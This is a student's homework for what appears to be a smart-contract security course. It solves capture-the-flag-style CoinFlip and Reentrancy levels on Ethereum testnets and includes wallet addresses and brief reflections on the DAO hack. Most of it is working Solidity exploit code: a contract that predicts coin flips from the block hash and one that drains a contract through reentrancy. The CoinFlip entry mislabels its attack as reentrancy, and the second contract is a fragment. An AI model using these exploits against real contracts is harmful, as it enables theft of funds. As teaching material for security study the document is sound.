Homework Session 3

[aldrinmayen]

wallet: 0x98c074DD95aA3607dBA6cBaFbAb68b6FF83180f0
tesnet: goerli
instance: 0xdb2f9d5ce80f0a19e2bb4d686dbf42f252ebc139
vulnerability: i believe is the blockchash since it is random number, the factor and number.block are known
Attack vector : re-entrancy contract
code:

pragma solidity ^0.8.0;
  import './CoinFlip.sol';
  
  contract flipExploit {
      CoinFlip public exploitedInstance;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  
    constructor (address _exploitedContractAddress) {
      exploitedInstance = CoinFlip( _exploitedContractAddress);
  
      }
// this function will calculate the guess and if so it will run the original contract 

    function flipAhead() public {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;
        exploitedInstance.flip(side); //this. will run the specific instance with the flip function using the side value
    }
  
  }

[aldrinmayen]

Homework Reentrancy -
wallet 0x98c074DD95aA3607dBA6cBaFbAb68b6FF83180f0
instance 0x4D0328Aad884F4c24e36fA071ea52034B54899c2
testnet: sepolia
NOTES: this amazed me to review and see the history of what happened with the solution, since it seems that the network was not immutable and make changes and created an Ethereum fork. It could be very probable that another change may happened that won't be decentralized nor immutable however to support security, i guess the trilemma still difficult to resolve
https://www.gemini.com/cryptopedia/the-dao-hack-makerdao#section-the-dao-hack-remedy-forks-ethereum

    constructor(address _victim) {
        reentrance = INReentrance(_victim);    
    }

    function vmattack() external payable {
        reentrance.donate{value: msg.value}(address(this));

        reentrance.withdraw(msg.value);
    }

    receive() external payable {
        uint targetBalance = address(reentrance).balance;

        if (targetBalance >= 0.001 ether) {
            reentrance.withdraw(0.001 ether);
        }
    }
}